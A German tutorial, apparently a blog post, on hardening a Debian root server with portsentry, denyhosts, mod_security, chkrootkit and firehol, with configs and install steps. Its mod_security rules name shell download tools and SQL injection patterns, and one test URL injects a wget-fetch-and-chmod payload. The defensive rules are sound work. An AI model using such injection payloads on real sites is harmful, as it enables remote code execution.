Rootserver absichern

Einen Rootserver absichern mit:

  • portsentry – Überwacht alle Ports und erkennt Portscanning und blockiert die IP-Adresse dynamisch
  • denyhosts – Überwacht Logfiles und sperrt die IP-Adresse sobald x Loginversuche per SSH unternommen worden sind ins System einzudringen.
  • mod_security für Apache2 – IDS Firewall für Apache – Erkennt allow_url_fopen attacks, URL attacks (wget), SQL attacks usw. Regeln können auch selbst definiert werden Regelsätze von ModSecurity
  • chkrootkit – Erkennt bekannte Rootkits.
  • aide – Erzeugt eine Datenbank welche mit Checksummen Dateien auf dem System prüft und erkennt wenn eine Datei verändert worden ist. (z.B. Rootkits)
  • logwatch – Erzeugt eine übersichtliche Zusammenfassung aller Events die von Bedeutung sind und kann diese per Mail verschicken.
  • firehol – Tool zum Erstellen von iptables Regelsätzen

Anleitung für Debian Sarge

portsentry

~~UP~~

Schritt 1: Installation von portsentry

  apt-get install portsentry

Schritt 2: Anpassen der Konfiguration

  nano /etc/portsentry/portsentry.conf

Per default ist in der Konfiguration schon eingestellt das er Ports nur unter 1024 überwacht was ausreichend ist, da sich hier die meisten brisanten Dienste ansiedeln. Wenn alles gesperrt werden soll müssen folgende Parameter angepasst werden:

  ADVANCED_PORTS_TCP="1024"
  ADVANCED_PORTS_UDP="1024"

Folgende Parameter wurden geändert:

  BLOCK_UDP="0" -> BLOCK_UDP="1"
  BLOCK_TCP="0" -> BLOCK_TCP="1"
  #KILL_HOSTS_DENY="ALL: $TARGET$" -> KILL_HOSTS_DENY="ALL: $TARGET$"

BLOVK_UDP und BLOCK_TCP verhindern Portscans wenn Sie auf “1” gesetzt werden. KILL_HOSTS_DENY ist die Aktion die gestartet werden soll wenn ein Angreifer gesperrt werden soll. Dieser wird in diesem Fall über /etc/hosts.deny gesperrt.

Schritt 3: Neustarten des Prozesses

  /etc/init.d/portsentry restart

Schritt 4: Test von Portsentry

Achtung ! Wenn Portsentry mit einem Portscanner getestet wird kann man sich selbst aussperren !

Dann ist nur noch Zugriff über die Rettungskonsole oder mit einer neuen dynamischen IP-Adresse möglich.

Fertig!

denyhosts

~~UP~~

Für denyhosts gibt es kein fertiges Debianpaket deshalb muss es downgeloaded werden.

Schritt 1: Installation

Denyhosts basiert auf Phyton deshalb installieren wir folgende Pakete:

  apt-get install python python2.3-dev python2.3

Jetzt besorgen wir uns Denyhosts entpacken und installieren es:

  cd /tmp
  wget http://mesh.dl.sourceforge.net/sourceforge/denyhosts/DenyHosts-2.0.tar.gz
  tar xvfz DenyHosts-2.0.tar.gz
  cd DenyHosts-2.0
  python setup.py install

Denyhosts wird in foldenden Pfad installiert:

  /usr/share/denyhosts

Schritt 2: Konfiguration von Denyhosts

  cd /usr/share/denyhosts
  cp denyhosts.cfg-dist denyhosts.cfg
  nano denyhosts.cfg
  SECURE_LOG = /var/log/auth.log
  HOSTS_DENY = /etc/hosts.deny
  PURGE_DENY =
  BLOCK_SERVICE  = sshd
  DENY_THRESHOLD_INVALID = 5
  DENY_THRESHOLD_VALID = 10
  DENY_THRESHOLD_ROOT = 5
  WORK_DIR = /usr/share/denyhosts/data
  SUSPICIOUS_LOGIN_REPORT_ALLOWED_HOSTS=YES
  HOSTNAME_LOOKUP=YES
  LOCK_FILE = /var/run/denyhosts.pid
  ADMIN_EMAIL = foo@bar.com
  SMTP_HOST = localhost
  SMTP_PORT = 25
  SMTP_FROM = DenyHosts <nobody@localhost>
  SMTP_SUBJECT = DenyHosts Report
  AGE_RESET_VALID=5d
  AGE_RESET_ROOT=25d
  AGE_RESET_INVALID=10d
  DAEMON_LOG = /var/log/denyhosts
  DAEMON_SLEEP = 30s
  DAEMON_PURGE = 1h

Bitte darauf achten, das die korrekten Pfade für SECURE_LOG und LOCK_FILE gesetzt sind. Bei Debian sind diese:

  SECURE_LOG = /var/log/auth.log
  LOCK_FILE = /var/run/denyhosts.pid

Schritt 3: Daemon Control File vorbereiten

Folgende drei Parameter müssen in der Datei /usr/share/denyhosts/daemon-control angepasst werden:

  DENYHOSTS_BIN = "/usr/bin/denyhosts.py"
  DENYHOSTS_LOCK = "/var/run/denyhosts.pid"
  DENYHOSTS_CFG = "/usr/share/denyhosts/denyhosts.cfg"

Beispiel:

  #!/usr/bin/env python
  # denyhosts     Bring up/down the DenyHosts daemon
  #
  # chkconfig: 2345 98 02
  # description: Activates/Deactivates the
  #    DenyHosts daemon to block ssh attempts
  #
  ###############################################

  ###############################################
  #### Edit these to suit your configuration ####
  ###############################################

  DENYHOSTS_BIN   = "/usr/bin/denyhosts.py"
  DENYHOSTS_LOCK  = "/var/run/denyhosts.pid"
  DENYHOSTS_CFG   = "/usr/share/denyhosts/denyhosts.cfg"

  ###############################################
  ####         Do not edit below             ####
  ###############################################

  import os, sys, signal, time

  STATE_NOT_RUNNING = -1
  STATE_LOCK_EXISTS = -2

  def usage():
      print "Usage: %s {start [args...] | stop | restart [args...] | status | debug | condrestart [args...] }" % sys.argv[0]
      print
      print "For a list of valid 'args' refer to:"
      print "$ denyhosts.py --help"
      print
      sys.exit(0)

  def getpid():
      try:
          fp = open(DENYHOSTS_LOCK, "r")
          pid = int(fp.readline().rstrip())
          fp.close()
      except Exception, e:
          return STATE_NOT_RUNNING

      if os.access(os.path.join("/proc", str(pid)), os.F_OK):
          return pid
      else:
          return STATE_LOCK_EXISTS

  def start(*args):
      cmd = "%s --daemon " % DENYHOSTS_BIN
      if args: cmd += ' '.join(args)

      print "starting DenyHosts:   ", cmd

      os.system(cmd)

  def stop():
      pid = getpid()
      if pid >= 0:
          os.kill(pid, signal.SIGTERM)
          print "sent DenyHosts SIGTERM"
      else:
          print "DenyHosts is not running"

  def debug():
      pid = getpid()
      if pid >= 0:
          os.kill(pid, signal.SIGUSR1)
          print "sent DenyHosts SIGUSR1"
      else:
          print "DenyHosts is not running"

  def status():
      pid = getpid()
      if pid == STATE_LOCK_EXISTS:
          print "%s exists but DenyHosts is not running" % DENYHOSTS_LOCK
      elif pid == STATE_NOT_RUNNING:
          print "Denyhosts is not running"
      else:
          print "DenyHosts is running with pid = %d" % pid

  def condrestart(*args):
      pid = getpid()
      if pid >= 0:
          restart(*args)

  def restart(*args):
      stop()
      time.sleep(1)
      start(*args)

  if __name__ == '__main__':
      cases = {'start':       start,
               'stop':        stop,
               'debug':       debug,
               'status':      status,
               'condrestart': condrestart,
               'restart':     restart}

      try:
          args = sys.argv[2:]
      except:
          args = []

      try:
          option = sys.argv[1]

          if option in ('start', 'restart', 'condrestart'):
              if '--config' not in args and '-c' not in args:
                  args.append("--config=%s" % DENYHOSTS_CFG)

          cmd = cases[option]
          apply(cmd, args)
      except:
          usage()

Den Eigentümer auf root setzen und 700 als Rechte

  chown root daemon-control
  chmod 700 daemon-control

Denyhosts zu den Daemons hinzufügen

  cd /etc/init.d
  ln -s /usr/share/denyhosts/daemon-control denyhosts
  update-rc.d denyhosts defaults

Schritt 4: Daemon starten

  /etc/init.d/denyhosts start

Fertig!

mod_security

~~UP~~

Schritt 1: Installation von mod_security

Problem: Das Paket was von den Debian Packet Maintainern zurverfügung gestellt wird ist eine alte 0.8.4 Version. Diese unterstützt einige Parameter zum deaktivieren von Rules nicht. Deshalb fügen wir noch eine Source Quelle zu sources.list hinzu.

  nano /etc/apt/sources.list

Folgdende zeilen einfach an das Ende anfügen:

  deb http://etc.inittab.org/~agi/debian/libapache-mod-security/sarge ./

Dann noch ein

  apt-get update

um die Paketinformationen zu bekommen.

Modul installieren:

  apt-get install libapache2-mod-security

Modul zu Apache 2 installieren:

  a2enmod mod-security

Schritt 2: Konfiguration bearbeiten

  cd /etc/apache2

Erstellen der mod_sec_filter.conf:

  touch mod_sec-filter.conf

Beispiel:

  # -----------------------------------------------------------------------------
  #  Start Rules (Gerneric)
  # -----------------------------------------------------------------------------

  # Enforce proper HTTP requests
  SecFilterSelective THE_REQUEST "!HTTP\/(0\.9|1\.0|1\.1)$"

  # check for bad meta characters in User-Agent field
  SecFilterSelective HTTP_USER_AGENT ".*\'"

  # Require Content-Length to be provided with every POST request
  SecFilterSelective REQUEST_METHOD "^POST$" chain
  SecFilterSelective HTTP_Content-Length "^$"

  # Don't accept transfer encodings we know we don't handle (and you don't need it anyway)
  SecFilterSelective HTTP_Transfer-Encoding "!^$"

  # Don't accept chunked encodings
  SecFilterSelective HTTP_Transfer-Encoding "chunked"

  # must have a useragent string
  SecFilterSelective "HTTP_USER_AGENT|HTTP_HOST" "^$"

  # Again, this is better protected by removing these functions in php.ini
  SecFilterSelective ARGS "(system|exec|passthru|popen|shell_exec|proc_open|fopen|fwrite)\s*\("

  # Prevent path traversal (..) attacks
  SecFilter "\.\./"

  # generic recursion signature
  SecFilterSelective THE_REQUEST "\.\./\.\./"

  # generic attack sig
  SecFilterSelective THE_REQUEST "cd *\;(cd|\;|echo|perl|python|rpm|yum|apt-get|emerge|lynx|links|mkdir|elinks|cmd|pwd|
  wget|id|uname|cvs|svn|(s|r)(cp|sh)|rexec|smbclient|t?ftp|ncftp|curl|telnet|gcc|cc|g\+\+|\./)"

  # generic filter to prevent SQL injection attacks
  SecFilter "[[:space:]]+(select|grant|delete|insert|drop|alter|replace|truncate|update|create|rename|
  describe)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]+[[:space:]]+(from|into|table|database|index|view)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]"

  # generic PHP remote file inclusion attack
  SecFilter "\.php\?" chain
  SecFilter "(http|https|ftp)\:/" chain
  SecFilter "cmd=(cd|\;|perl|python|rpm|yum|apt-get|emerge|lynx|links|mkdir|elinks|cmd|pwd|wget|id|
  uname|cvs|svn|(s|r)(cp|sh)|rexec|smbclient|t?ftp|ncftp|curl|telnet|gcc|cc|g\+\+|\./)"

  # generic sig for more bad PHP functions
  SecFilterSelective THE_REQUEST "chr\(([0-9]{1,3})\)"
  SecFilterSelective THE_REQUEST "chr\([0-9a-fA-Fx]+\)"

  # SQL injection attacks
  SecFilter "delete[[:space:]]+from"
  SecFilter "insert[[:space:]]+into"
  SecFilter "select.+from"

  # SQL injection in cookies
  SecFilterSelective COOKIE_sessionid ".*(select|grant|delete|insert|drop|do|alter|replace|truncate|update|create|rename|
  describe)[[:space:]]+[A-Z|a-z|0-9|\*||\,]+[[:space:]]+(from|into|table|database|index|view)"

  # -----------------------------------------------------------------------------
  #  Start Rules (experimental)
  # -----------------------------------------------------------------------------

  # experimental generic remote download sig foo IP or FQDN or foo http/https/ftp://whatever
  SecFilterSelective THE_REQUEST "(perl|t?ftp|links|elinks|lynx|ncftp|(s|r)(cp|sh)|wget|curl|cvs|svn).* ((http|https|ftp)\:/|
  [0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|.*[A-Za-z|0-9]\.[a-zA-Z]{2,4}/)"
  SecFilterSelective THE_REQUEST "( |\;|/|\'|,|\&|\=|\.)((s|r)(sh|cp)) *(.*\@.*|(http|https|ftp)\:/|[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|.*[A-Za-z|
  0-9]\.[a-zA-Z]{2,4}/)"

  # XSS atacks (HTML/Javascript injection)
  # SecFilter "<(.| )+>"
  # deactivated since it causes problems with Serendipity when creating new entries
  # this is the error message: mod_security-message: Access denied with code 406. Pattern match "<(.| )+>" at POST_PAYLOAD.

Erstellen der mod_security.conf:

  cd /etc/apache2/conf.d
  touch mod_security.conf
  nano mod_security.conf

Beispiel:

  <IfModule mod_security.c>

      # Only inspect dynamic requests
      # (YOU MUST TEST TO MAKE SURE IT WORKS AS EXPECTED)
      # SecFilterEngine DynamicOnly

      # Turn the filtering engine On or Off
      SecFilterEngine On

      # Reject requests with status 404
      SecFilterDefaultAction "deny,log,status:404"

      # Some sane defaults
      SecServerResponseToken Off
      SecFilterScanPOST Off
      SecFilterCheckURLEncoding On
      SecFilterCheckCookieFormat On
      SecFilterCheckUnicodeEncoding Off

      # If you want to scan the output, uncomment these
      # SecFilterScanOutput On
      # SecFilterOutputMimeTypes "(null) text/html text/plain"

      # Accept almost all byte values
      SecFilterForceByteRange 1 255

      # Only record the interesting stuff
      SecAuditEngine RelevantOnly
      SecAuditLog /var/log/apache/audit_log

      # You normally won't need debug logging
      SecFilterDebugLevel 0
      SecFilterDebugLog /var/log/apache/modsec_debug_log

      # Include rules
      Include /etc/apache2/mod_sec_filter.conf
  </IfModule>

Schritt 3: Apache neustarten und testen

  /etc/init.d/apache2 restart

Mit dieser Konfiguration sollte es nicht mehr möglich sein folgenden Link aufzurufen:

Beispiel:

http://-deine-seite.de-/deinscript.php?irgendwas=cmd|cd%20/tmp%20|wget%20foobar.org/boesesscript|chmod%20755%20boesesscript|usw.

Um in einer Webseite einen Filter auszuschließen muss Ihm eine ID zugeordnet werden:

z.B. SecFilter wget id:1003

Im Vhost wird dann mit einer Directory Anweisung der Filter ausgeschlossen:

  <Directory /var/www/webseite/pma>
   SecFilterRemove 1003
  </Directory>

Um alle Filter zu deaktivieren für ein Verzeichnis einfach:

  <Directory /var/www/webseite/pma>
   SecFilterInheritance Off
  </Directory>

Dies deaktiviert die Filtervererbung in dieses Verzeichnis.

Fertig!

chkrootkit

~~UP~~

Schritt 1: Installation

  apt-get install chkrootkit

Schritt 2: Konfiguration

  nano /etc/chkrootkit.conf

Folgende Parameter in dieser Datei setzen:

  RUN_DAILY="true"
  RUN_DAILY_OPTS="-q"

Fertig!

aide

Schritt 1: Installation

  apt-get install aide

Schritt 2: Konfiguration

Kommt noch

Schritt 3: Datenbank erzeugen

Kommt noch

Schritt 4: Dienst neustarten

Kommt noch

logwatch

~~UP~~

Kommt noch

firehol

~~UP~~

Schritt 1: Installation

  apt-get install firehol

Schritt 2: Konfiguration

Vorhandene Filtersets sind auf folgender Webseite verfügbar:

FireHOL Services

  #
  # $Id: client-all.conf,v 1.2 2002/12/31 15:44:34 ktsaou Exp $
  #
  # This configuration file will allow all requests originating from the
  # local machine to be send through all network interfaces.
  #
  # No requests are allowed to come from the network. The host will be
  # completely stealthed! It will not respond to anything, and it will
  # not be pingable, although it will be able to originate anything
  # (even pings to other hosts).
  #

  version 5

  # Diese Zeilen auskommentieren
  #interface any world
  #       client all accept

  # Alle öffentlichen IP-Adressen ausser private z.B. 192.168.0.0/16
  interface eth0 INTERNET src not "${UNROUTABLE_IPS}"

  # Default Policy wenn keine Regel zutrifft
  policy drop

  # Verschiedene Schutzmechanismen
  protection reverse icmp-floods          30/min 20
  protection reverse syn-floods
  protection reverse invalid
  protection reverse fragments
  protection reverse malformed-xmas
  protection reverse malformed-null
  protection reverse malformed-bad
  protection icmp-floods                  30/min 20
  protection syn-floods
  protection invalid
  protection fragments
  protection malformed-xmas
  protection malformed-null
  protection malformed-bad

  #########################################################
  #Eingehend
  #########################################################

  # Eingehend SSH
  server ssh accept

  # Eingehend HTTP/HTTPS
  server http accept
  server https accept

  # Eingehend DNS
  server dns accept

  # Eingehend POP3/POP3s
  server pop3 accept
  server pop3s accept

  # Eingehend IMAP/IMAPs
  server imap accept
  server imaps accept

  # Eingehend SMTP
  server smtp accept

  # Eingehend FTP
  server ftp accept

  #########################################################
  #Ausgehened
  #########################################################

  # Nur "root" darf HTTP/FTP ausgehend verwenden
  client http             accept          user "root"
  client ftp              accept          user "root"
  # Alle dürfen DNS/SSH
  client dns              accept
  client ssh              accept
  # Nur "postfix" darf SMTP ausgehend verwenden
  client smtp             accept          user "postfix"

Schritt 3: Konfiguration testen und Fertigstellen

FireHOL liefert eine Funktion mit die es ermöglicht Filtersets zu testen ohne das Risiko sich auszusperren. Das Filterset wird für 30 Sekunden aktiviert. In dieser Zeit hat man die Möglichkeit die Filter zu testen. Falls das Filterset funktioniert kann man mit der Eingabe von “commit” nach den 30 Sekunden das Filterset dauerhaft aktivieren, wenn nicht einfach Return drücken.

  /sbin/firehol try
  Keep the firewall? (type 'commit' to accept - 30 seconds timeout) :

Schreibe einen Kommentar

Diese Website verwendet Akismet, um Spam zu reduzieren. Erfahre mehr darüber, wie deine Kommentardaten verarbeitet werden.